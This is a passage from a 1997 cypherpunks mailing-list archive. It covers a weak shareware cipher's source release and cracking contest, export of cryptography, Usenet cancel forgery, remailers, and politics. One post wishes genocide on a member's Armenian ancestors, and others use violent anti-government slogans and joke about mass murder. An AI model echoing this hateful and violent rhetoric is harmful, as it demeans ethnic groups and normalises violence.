Integrion, Mondex and other high-profile rollouts, the conference will
feature discussions on:

-taxation of Internet commerce (Karl Frieden, Arther Andersen / Walter
Nagel, MCI Communications)

-risk management in business-to-business bill payments on the Internet
(Anne Friedman, Chase Manhattan / Sandra Runyon, Southwestern Bell /
Scott Smith, Jupiter Communications

-establishing trust in electronic transactions (Lori Fena, Exec.
Director, Electronic Frontier Foundation)

- the US Postal Service's electronic postmarking and CA initiative

- proposed changes to the ACH network to support Internet payments


In all, there will be about 40 presentations.

The CyberPayments 97 conference (which is accompanied by an exposition
titled "i-Money" takes place June 19-20 at the Sheraton Washington Hotel
and is organized by the National Automated Clearing House Association,
which is actively involved in promoting all types of payment systems,
including Internet payments.

A full conference brochure can be found at www.nacha.org

I hope you'll find the conference interesting enough to share with your
readers.

Thank you in advance for your consideration of this information.

Sincerely,
Debra Greenberg
Managing Director
FBMA America Inc. (on behalf of the National Automated Clearing House
Association)
101664.3477@compuserve.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sat, 17 May 1997 08:18:45 +0800
To: cypherpunks@toad.com
Subject: http://www.dataet.com/public/source/vsacmv20/
Message-ID: <970516200054_1557203574@emout14.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

Here are the addresses of the slightly modified versions of the Pascal source
code files of VSA2048 Cryptography Module V2.0 (the shareware trial edition
version):

http://www.dataet.com/public/source/vsacmv20/vsacm.dpr
http://www.dataet.com/public/source/vsacmv20/intunit.pas
http://www.dataet.com/public/source/vsacmv20/libunit.pas
http://www.dataet.com/public/source/vsacmv20/stdunit.pas

If you are not located within the United States, don't even consider viewing
the files.

Yes, I realize that the public release of the source code files is long
overdue (okay, REALLY long overdue), but I would appreciate it if you
e-mailed any suggestions, comments, criticisms, insults, etc. to
jeremy@dataet.com. As I am not subscribed to the cypherpunks' mailing list, I
would not receive any messages regarding the source code posted to the list.
It would be best to download VSACM V2.0 from our Web site and make use of the
help file included and analyze each function or procedure within the source
code systematically. VSACM.DPR is the main project file. INTUNIT.PAS
basically contains functions, procedures and data structures not directly
available to developers. LIBUNIT.PAS contains the functions and procedures
that are readily available to developers. STDUNIT.PAS contains the source of
the algorithm extensions.

Also, there is a VSA2048 encrypted binary file located at
http://www.dataet.com/public/source/vsacmv20/crackit.dat. The file was
encrypted using 120-bit (NOT 128-bit) VSA2048 key. Yes, I'm making things a
whole 8 bits easier (although the maximum key length is 2048 bits). The first
cypherpunk who develops a VSA2048 decryption utility, decrypts the file, and
sends decrypted message and the correct key to info@dataet.com and
cypherpunks@toad.com will receive a free basic Web site package. (Package
details are located at http://www.dataet.com). (Igor, this is it!)

If someone does indeed decrypt the file, I myself will post an apology and a
declaration that VSA2048 constitutes a defective encryption algorithm to the
cypherpunks mailing list. I will have the marketing of the VSA2048 encryption
algorithm discontinued.

The decryption utility must be a program that either incorporates the source
code internally or incorporates the source code as a compiled DLL. (You must
compile the given source code. The shareware trial edition version of VSACM
V2.0, which only allows keys up to 40 bits in length, is NOT compatible with
the given source code.)

The "contest" expires on June 20th, 1997. The message and the correct key
will be posted to cypherpunks@toad.com on June 21st, 1997. By the way, if
someone cannot hack the file by June 20th...well...I don't know who'll be
laughing then. After all, the applied key is only 120 bits in length. Also,
the contest is currently limited to those who are subscribed to the
cypherpunks' mailing list. There are no exceptions.

By the way, you can check out DataET Research's Web site at
http://www.dataet.com. (No, we're NOT using America Online as our Web space
provider anymore.)

Regards,

Jeremy Yu-Ramos
DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 17 May 1997 11:34:16 +0800
To: cypherpunks@algebra.com
Subject: Re: Just Say "No" to Congress
In-Reply-To: <199705160128.SAA03463@netcom17.netcom.com>
Message-ID: <v03007801afa2e0559cfb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:10 PM -0800 5/16/97, Ray Arachelian wrote:
>On Thu, 15 May 1997, Vladimir Z. Nuri wrote:
>
>> anyone who disbelieves in the authority of the US government
>> yet sends them their tax money is a hypocrite.
>
>You seem to be misinformed.  You don't send your money to Uncle Sam.  It
>gets taken out of every pay check before you even see it.   Then, come
>April 15, you fill a piece of paper out with the hope you'll get some of
>it back.  But sometimes, Uncle Sam takes even more.

Actually, Larry is right. At least in my case, and that of many I know, I
send _them_ the money, it is not withheld in any way. I have to consciously
write them out a check (or several) for their blood money.

As for my being hypocritical, Detweiler is free to think whatever he
thinks. If and when I go down in a shootout with the fascists, I expect
it'll be over something more dramatic than not paying my taxes.

(And not paying taxes merely starts a long, multi-year process. If they
even figure out I haven't been filing and paying, a long period of letters,
warnings, and seizure proceedings starts. Although I gather it was a tax
dispute that got the IRS interested in Jim Bell and, thus, the eventual
raid on his house. I'll take this into consideration.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 17 May 1997 09:59:56 +0800
To: DataETRsch@aol.com
Subject: Re: http://www.dataet.com/public/source/vsacmv20/
In-Reply-To: <970516200054_1557203574@emout14.mail.aol.com>
Message-ID: <199705170136.UAA16850@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


DataETRsch@aol.com wrote:
> Here are the addresses of the slightly modified versions of the Pascal source
> code files of VSA2048 Cryptography Module V2.0 (the shareware trial edition
> version):
> 
> http://www.dataet.com/public/source/vsacmv20/vsacm.dpr
> http://www.dataet.com/public/source/vsacmv20/intunit.pas
> http://www.dataet.com/public/source/vsacmv20/libunit.pas
> http://www.dataet.com/public/source/vsacmv20/stdunit.pas
> 
> If you are not located within the United States, don't even consider viewing
> the files.

Thank you VERY MUCH for releasing the source code. This shows that you are
serious about your program and truly appreciate how important is the process
of review as far as your credibility is concerned.

I have downloaded your code and looked at it. Looks rather interesting
(especially the part below). What I did not understand, however, is
what is SetVal and how it works. Also, I was not clear how you set
variables AE1, AE2, ..., AE10 and so on.

As far as I understand, you use these variables to select the particular 
encryption method. Do you normally select only one method on some random 
basis or you use several passes?

Also, some may be interested to look at this particular encryption
method (I added some indentation and comments for readability). I believe
that it is not particularly strong.


procedure TC1001;
label 1000;
begin

for B1 := 0 to 255 do 
	Used[B1] := False;

for B1 := 0 to 255 do
begin
  1000:
  B2 := Random(256);
  if Used[B2] then goto 1000;
  EncTable[B1] := B2;
  DecTable[B2] := B1;
  Used[B2] := True;
end;

{============================= ENCRYPTION ==========================}
if Process then
  repeat
    if Size - CurByte >= Segment then Copied := Segment;
    if Size - CurByte <  Segment then Copied := (Size - CurByte);
    FileSeek(AccFile, CurByte, 0);
    FileRead(AccFile, Block, Copied);
    for I1 := 1 to Copied do
    begin
      Block[I1] := Block[I1] xor Random(256);
      Block[I1] := EncTable[Block[I1]];
    end;

    FileSeek(AccFile, CurByte, 0);
    FileWrite(AccFile, Block, Copied);
    
    CurByte := CurByte + Segment;
  until (Copied <> Segment) or (CurByte > Size - 3);

{======================= DECRYPTION ============================}
if not Process then
  repeat
    if Size - CurByte >= Segment 
	then Copied := Segment;
    if Size - CurByte <  Segment 
	then Copied := (Size - CurByte);

    FileSeek(AccFile, CurByte, 0);
    FileRead(AccFile, Block, Copied);

    for I1 := 1 to Copied do
    begin
      Block[I1] := DecTable[Block[I1]];
      Block[I1] := Block[I1] xor Random(256);
    end;

    FileSeek(AccFile, CurByte, 0);
    FileWrite(AccFile, Block, Copied);
    CurByte := CurByte + Segment;
  until (Copied <> Segment) or (CurByte > Size - 3);
end;

ignoramus

> Yes, I realize that the public release of the source code files is long
> overdue (okay, REALLY long overdue), but I would appreciate it if you
> e-mailed any suggestions, comments, criticisms, insults, etc. to
> jeremy@dataet.com. As I am not subscribed to the cypherpunks' mailing list, I
> would not receive any messages regarding the source code posted to the list.
> It would be best to download VSACM V2.0 from our Web site and make use of the
> help file included and analyze each function or procedure within the source
> code systematically. VSACM.DPR is the main project file. INTUNIT.PAS
> basically contains functions, procedures and data structures not directly
> available to developers. LIBUNIT.PAS contains the functions and procedures
> that are readily available to developers. STDUNIT.PAS contains the source of
> the algorithm extensions.
> 
> Also, there is a VSA2048 encrypted binary file located at
> http://www.dataet.com/public/source/vsacmv20/crackit.dat. The file was
> encrypted using 120-bit (NOT 128-bit) VSA2048 key. Yes, I'm making things a
> whole 8 bits easier (although the maximum key length is 2048 bits). The first
> cypherpunk who develops a VSA2048 decryption utility, decrypts the file, and
> sends decrypted message and the correct key to info@dataet.com and
> cypherpunks@toad.com will receive a free basic Web site package. (Package
> details are located at http://www.dataet.com). (Igor, this is it!)
> 
> If someone does indeed decrypt the file, I myself will post an apology and a
> declaration that VSA2048 constitutes a defective encryption algorithm to the
> cypherpunks mailing list. I will have the marketing of the VSA2048 encryption
> algorithm discontinued.
> 
> The decryption utility must be a program that either incorporates the source
> code internally or incorporates the source code as a compiled DLL. (You must
> compile the given source code. The shareware trial edition version of VSACM
> V2.0, which only allows keys up to 40 bits in length, is NOT compatible with
> the given source code.)
> 
> The "contest" expires on June 20th, 1997. The message and the correct key
> will be posted to cypherpunks@toad.com on June 21st, 1997. By the way, if
> someone cannot hack the file by June 20th...well...I don't know who'll be
> laughing then. After all, the applied key is only 120 bits in length. Also,
> the contest is currently limited to those who are subscribed to the
> cypherpunks' mailing list. There are no exceptions.
> 
> By the way, you can check out DataET Research's Web site at
> http://www.dataet.com. (No, we're NOT using America Online as our Web space
> provider anymore.)
> 
> Regards,
> 
> Jeremy Yu-Ramos
> DataET Research
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 17 May 1997 13:14:14 +0800
To: cypherpunks@toad.com
Subject: Re: Dan White & Feinstein
In-Reply-To: <19970515002241.20918@bywater.songbird.com>
Message-ID: <19970516214950.35898@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 16, 1997 at 11:07:32AM -0400, Duncan Frissell wrote:
>Feinstein had been a friend of his when he was on the Board of
>Supes and it is possible that one of the reasons he lost it during the crisis
>over his resignation and attempt to get back on the Board was because
>Feinstein was in Nepal on her honeymoon (millionaire second husband) and
>wasn't there to support him. 

BTW, do you remember what happened to her first husband?

[...]

>Feinstein want to grab your guns because she is an authoritarian.  Not
>because of any particular experiences she's had with guns.

You are in denial.  Her firsthand experience with gun violence has 
clearly been a serious formative factor in her values and opinions.  
However, I agree that she has authoritarian tendencies.  Furthermore, 
she is, in my opinion, pretty lightweight intellectually -- not quite to 
the Reagan level, perhaps, but (as Reagan demonstrated) one doesn't 
need intelligence to succeed in politics.

>  She has shown
>equal contempt for the First Amendment and the Second.  She's ma woman and a
                                                               ^^^^^^^^
Please translate?
>commie liberal.  What can one expect.

>While mayor of San Francisco, she indulged in a number of famous suppressions
>of free speech:
>
>1)  She cancelled the appearance of the Turkish Folklorico Ballet because of
>demonstration threats from the (no longer starving) Armenians.
>
>2)  She tried to ban the showing of whatever that dumb New York gang movie
>was after a stabbing at one of the theaters showing it.
>
>3)  She pressured a clothing store to pull its billboard ad campaign
>"Feinstyle" which featured a (fully clothed) reclining, look-alike model
>wearing her sort of scarf and business attire.

Oh, give me a break, Duncan.  These are absolutely pathetic 
examples.  Much more indicative of her "caliber", I think, was her 
mind-numbing efforts to get a new stadium built.

...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 17 May 1997 14:12:35 +0800
To: cypherpunks@toad.com
Subject: Re: TEXTO - Text steganography
In-Reply-To: <199705160908.CAA03291@fat.doobie.com>
Message-ID: <19970516224838.26116@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 16, 1997 at 03:24:23PM +0000, Paul Bradley wrote:
> 
> >    Texto text files look like something between mad libs and bad poetry,
> > (although they do sometimes contain deep cosmic truths) and should be
> > close
> > enough to normal english to get past simple-minded mail scanners and to
> > entertain readers of talk.bizarre.
> > -------------
> > 
> >   Perhaphs this explains why, when I tried it, it signed Paul Bradley's
> > name to the output.
> 
> Mr. Nobody,
> 
> This message justified the fact that I do not have a killfile deleting 
> remailer messages at present. ROFL.
> 
> BTW Kent, I thought you never used remailers... ;-)

Not me.  I'm not smart enough.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 17 May 1997 11:11:35 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Dan White & Feinstein
In-Reply-To: <sc6s7D1w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970516225211.24291D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 16 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Yes - Armenians are censorous scum.  I'm sorry the Turks didn't get
> Ray Arachelian's grandparents.

Yawn.  Keep trying Vulis. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 17 May 1997 06:41:49 +0800
To: dlv@bwalk.dm.com
Subject: Re: eternity-lite & cancel msgs
In-Reply-To: <u92s7D1w165w@bwalk.dm.com>
Message-ID: <199705162205.XAA01076@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> 
> > One issue with the system is that censors will issue cancel messages
> > for the articles.  Not too much which can be done about this.  Some
> > trends tend to help this problem:
> 
> The vast majority of cancels in the "control" newsgroup are the so-called
> "third party cancels" (a.k.a. forgeries).
> 
> In the U.S. many major ISPs like America Online and Earthlink are ignoring
> cancels outright.  It's easy - start the latest version of INN with the
> -C flag, or apply Dave Hayes's patches [...]
> 
> Forging cancels is easy -- see the cancelbot I posted last year.

Seems your cancel bot has been a net boon to freedom of speech,
encouraging cancel message abuse which in turn leads to the natural
solution of removing the ability to cancel other peoples articles.
Perhaps your intention :-)

Perhaps a content aware version would improve on your content blind
one, making it easy for censorous persons to make more of a nuisance
of themselves without having to have enough of a clue to figure it out
for themselves.  Perhaps a slick windows interface is in order :-)
Select your prejudices from this pick list.  Just to help accelerate
the move away from honoring cancel requests.

> > Another aspect of the system is that it relies on news archival
> > services such as dejanews and altavista; these presumably don't listen
> > to cancel messages for already archived data (? guessing here).
>
> Correct: none of the 3 major archival services (dejanews, altavista,
> reference.com) delte articles based on cancel or supersedes once they
> receive them.
> 
> However an author can explicitly ask dejanews to delete his articles.
> 
> All 3 now don't archive articles that say 'X-No-Archive: yes'.

Does this imply that you are aware of precedents where the search
engines maintainers have removed articles on email requests after the
article was initially posting without X-No-Archive: yes?  Or were you
just refering to the X-No-Archive mechanism?

A bad precedent to act on instructions of someone purporting to be the
author requesting deletion.  Opens the way for someone to socially
engineer deletion of articles they wish to censor if this is so.  Also
opens the way for the author to be coerced into removing the article.

As an aside I think X-No-Archive is a stupid idea.  If you don't want
a post released for anyone to save for later reading, don't post it.
If you are concerned about the correlation of your net posts with your
physical identity, post using a remailer, or nymserver.

In fact I'd encourage anyone with the hardware to spare to offer an
X-No-Archive ignoring search engine.  Move it off-shore if you get
hassled.  Perhaps an X-No-Archive: yes only archive would be the best
way.  (ie only archive stuff which is specifically marked as not for
archive, that should give pretty low bandwidth requirements and make
the point).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 17 May 1997 12:38:53 +0800
To: cypherpunks@toad.com
Subject: Re: Civil Disobediance
In-Reply-To: <199705170233.EAA19183@basement.replay.com>
Message-ID: <199705170412.XAA30089@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705170233.EAA19183@basement.replay.com>, on 05/16/97 at 08:33 PM,
   nobody@REPLAY.COM (Anonymous) said:


>On Fri, 16 May 1997, Tim May wrote, in his ever-growing .sig:

>> Only one response to the key grabbers is warranted: "Death to Tyrants!"

>Bah.  Here are two better ones:

>1) "See you in court."

Does little good when the courts hold the constitution with the same
disdain as do the rest of the polititions.

>2) "You will get yours on election day.  Watch me write this check to your
>opponent."

Not much point whe the "opponent" is just as much of a fasists.

Such "standard" methods only work if we have funtioning checks and balances
in our government. This we currently do not. All 3 branches hold the
constitution in utter contempt and the only debate is how best to abolish
what is left without disturbing the sheep.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM30+0Y9Co1n+aLhhAQFwGgP/dsBHHSN8Y7DqrfhcqXR3ajIieCylQE8Q
Ur/gi13ohRJSUFLMDflUJAeRDmHUN3LMX80N6/4zAKqJj17V3Tzs+F3Pr2+Kouxg
yslA+Iaf2CwgWisW1s5F5o+3rvymUKXirhm2E8PKkf6qpicluwrIF8UQdtpsHGpI
cZ3g1Jd9HIc=
=V+qB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 17 May 1997 11:27:27 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <199705160128.SAA03463@netcom17.netcom.com>
Message-ID: <Pine.SUN.3.91.970516230840.24291E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 May 1997, Vladimir Z. Nuri wrote:

> anyone who disbelieves in the authority of the US government
> yet sends them their tax money is a hypocrite.

You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
gets taken out of every pay check before you even see it.   Then, come 
April 15, you fill a piece of paper out with the hope you'll get some of 
it back.  But sometimes, Uncle Sam takes even more.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 17 May 1997 06:31:30 +0800
To: junger@upaya.multiverse.com
Subject: Re: Civil Disobediance
In-Reply-To: <199705161509.LAA07342@upaya.multiverse.com>
Message-ID: <199705162218.XAA01127@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Peter Junger <junger@upaya.multiverse.com> writes:
> Adam Back writes:
> : [rsa sig/t-shirt]
> : 
> : While it's probably technically illegal to export, it clearly doesn't
> : get you in trouble to export it.  Raph Levien sent off a Commodity
> : Jurisdiction Request together with a sample T-shirt to ask permission
> : to export the T-shirt under the ITAR regulations.  They did not answer
> : his request.  I presume that they viewed either a "yes" or a "no" as a
> : loose for them.  If they say no, they open themselves for mockery in
> : the press, if they say yes, we progress the situation.  Export on
> : paper?  Floppy?  Internet?  Bigger programs.
> 
> Under the new Commerce Department export regulations it appears that
> encryption software printed as hard copy---and I think that T-shirts
> are hard enough for this purpose---can be freely exported.  But
> the same material in electronic form may not be exported or placed on
> a web site without a license.  So the T-shirts are now OK, but under
> the EAR it is still an offense to send the code in a sigfile to an
> international e-mail list.

This is interesting.

It seems that this set up provides a potential test case similar to
Phil Karn's one with the source code disks for Applied Cryptography,
only much smaller, and much more silly looking, which I think would be
a boon because the US government would have more difficulty defending
the ban on export of something which would take 30 seconds to type in.

The response to Phil's request to export the disks detailed that there
was significant value added in the text having been OCRed/typed in and
neatly arranged in files on a floppy.

The .sig is also a few seconds to scan with a bar code reader.  Bar
codes are also interesting in this context, they are machine readable,
and the 2D bar codes allow reasonable information density on a sheet
of A4.  Vince has a 2D barcode gif of the .sig on his Arms Trafficker
page.

If the perl rsa .sig were to be given permission to be exported in
electronic form, over the years since the original RSA sig I have
accumulated a collection of programs some donated by others, and a
couple more myself.  There is a good selection: IDEA, OTP, RC4, RC5,
DES, Diffie-Hellman.  Someone did an RSA keygen a while back.  These
vary in size and usefullness.  It would be relatively easy to create
something sufficiently functional and yet dangerous in a reasonably
few lines.  Full PGP compatible encrypt, signature check, and decrypt
looks doable in under 2000 chars or so, easily 1 A4 page of text, or
2D barcode.

> It is possible that the application for permission to export the
> T-shirt may have influenced this result.

That would be cool if accurate :-)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 17 May 1997 14:56:46 +0800
To: cypherpunks@toad.com
Subject: Lucky's explaination...
Message-ID: <199705170629.XAA22759@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> At 11:39 PM 5/15/97 CST, TruthMonger wrote:
> >Tim May wrote:
> >> Further, a clever little fix is to make one's own remailer site a link in
> >> the chain. All a snooping subset of remailers can do is trace the message
> >> back to your own remailers. Obviously, they can't know if the message was
> >> merely _remailed_ through your site, or _originated_ there. Thus, including
> >> oneself as a remailer also provides excellent plausible deniability.)

> >  This is a lame idea with no merit whatsoever.
 
> Since Tim's statement describes today's standard practice for increasing
> security for one's remailed messages, perhaps TruthMonger would like to
> explain why it has no merit. But then again, TruthMonger = Infowar. Guess
> we won't see an explanation that has merit.

  If you had read the header of the message, then you would have seen
the explaination.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 17 May 1997 14:57:41 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
Message-ID: <199705170629.XAA22763@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell wrote:
> For the actual numbers of the major government murders see
> 
> http://www.laissezfaire.org/pl6300.html
> 
> DEATH BY GOVERNMENT
> by R.J. Rummel
> (Transaction Books, 1994)
 
> I. Background Over 133,147,000 Murdered: Pre-Twentieth-Century Democide, 45.
> II. 128,168,000 Victims: The DekaMegaMurderers
> III. 19,178,000 Victims: The Lesser MegaMurderers
> IV 4,145,000 Victims: The Suspected MegaMurderers

Duncan,
  You have to keep in mind that these deaths were all necessary 
in order to curtail drug dealing and pornography. (Although it
gave rise to a sharp increase in necrophilia.)

  I read a passage of a book long ago in which a historian recounted
a number of different fallen dictators known for bloody purges who
reminesced that if they had controlled their moments of "softness"
(translate~~killed more of the right people) that they would still
be in power.
  I wonder if Hitler's final words were, "Well, they won't have
Adolf Hitler to kick around, anymore."

DeathMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 17 May 1997 23:37:33 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <199705140034.TAA23384@einstein.ssz.com>
Message-ID: <3.0.1.32.19970517022756.005b2608@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:50 PM 5/13/97 -0800, Tim May wrote:
>Instead, imagine this "service":
>- a distribution point (= list) which subscribes to all of the various
>lists (cyberpass, algebra, ssz, etc.)
>- it sends out to subscribers the first instance of any message it receives
>- duplicates (see discussion below) would not be sent
>- it would, ideally, be on a robust machine

As a filtering service, it would be great, though most of the duplicates
I see are articles posted on one or more of (cypherpunks, coderpunks,
cryptography), and I'd see a few more dups if I read alt.cypherpunks
regularly.

On the other hand, one of the reasons we have multiple list servers
is to reduce the risk of a single cypherpunks list site dying again
(as well as just the effect of several people volunteering at once.)
A filter site is a single point of failure, though it's a less serious
failure if there are still multiple lists feeding it.
If the filter can set the headers appropriately so that the
author and originating-list information still works, 
then it matters even less if it goes down.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 17 May 1997 16:27:44 +0800
To: cypherpunks@toad.com
Subject: Re: Just Say "No" to Congress
Message-ID: <199705170719.DAA12927@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:

> >> anyone who disbelieves in the authority of the US government
> >> yet sends them their tax money is a hypocrite.
> >
> >  Horseshit. That's no different from saying that anyone who
> >disbelieves in the authority of armed robbers yet gives them
> >their wallet is a hypocrite.
> >  Do you actually put any thought into your posts?
> >
> 
> ok truthmonger, after someone has stolen your money, do you
> report it to the police, or do you just sit around and
> curse the evildoer? what is your response when your money
> is stolen?

  I kiss it goodbye and forget about it.
  The police are too busy pursing imaginary crime to bother with
real crime.

  I caught a kid breaking into my camper by the Rose Garden in 
Berkeley. I handcuffed him to the bumper and gave him the option
of my calling his mother or the police. When the Berkeley police
cruised by I explained the situation and they had no problem with
it, but I got a pile of shit from various Berkeley bleeding-hearts
while we waited for his mother.
  I would have turned the kid loose before turning him over to the
police, since I regarded him as a lesser criminal than many of
them. I've lost a few thousand dollars worth of goods to thieves,
but criminal cops have cost me tens of thousands of dollars in
the legal system.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 17 May 1997 10:55:45 +0800
To: cypherpunks@toad.com
Subject: Re: Civil Disobediance
In-Reply-To: <v03007802afa2927b2003@[207.167.93.63]>
Message-ID: <199705170233.EAA19183@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 16 May 1997, Tim May wrote, in his ever-growing .sig:

> Only one response to the key grabbers is warranted: "Death to Tyrants!"

Bah.  Here are two better ones:

1) "See you in court."

2) "You will get yours on election day.  Watch me write this check to your
opponent."


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's hot here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 17 May 1997 23:27:23 +0800
To: cypherpunks@toad.com
Subject: CC fingerprints
Message-ID: <199705170904.FAA29705@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

http://cnn.com/TECH/9705/16/t_t/magnetic.security/index.html

Catching counterfeit credit cards

Researchers find way to check magnetic 'fingerprints'

ST. LOUIS, Missouri (CNN) -- Researchers at Washington University here have 
come up with a way to spot counterfeit credit cards by detecting the unique 
"fingerprint" on the back of each card. 

<snip>

Their solution, called the Magneprint system, reads the millions of tiny 
magnetic particles, which are unique on each card, says Professor Ronald 
Indeck. 
Each magnetic stripe on the card has two important areas. The first looks 
like a bar code, which contains the account number. The rest is a random 
pattern of magnetic information -- a signature that is different on every 
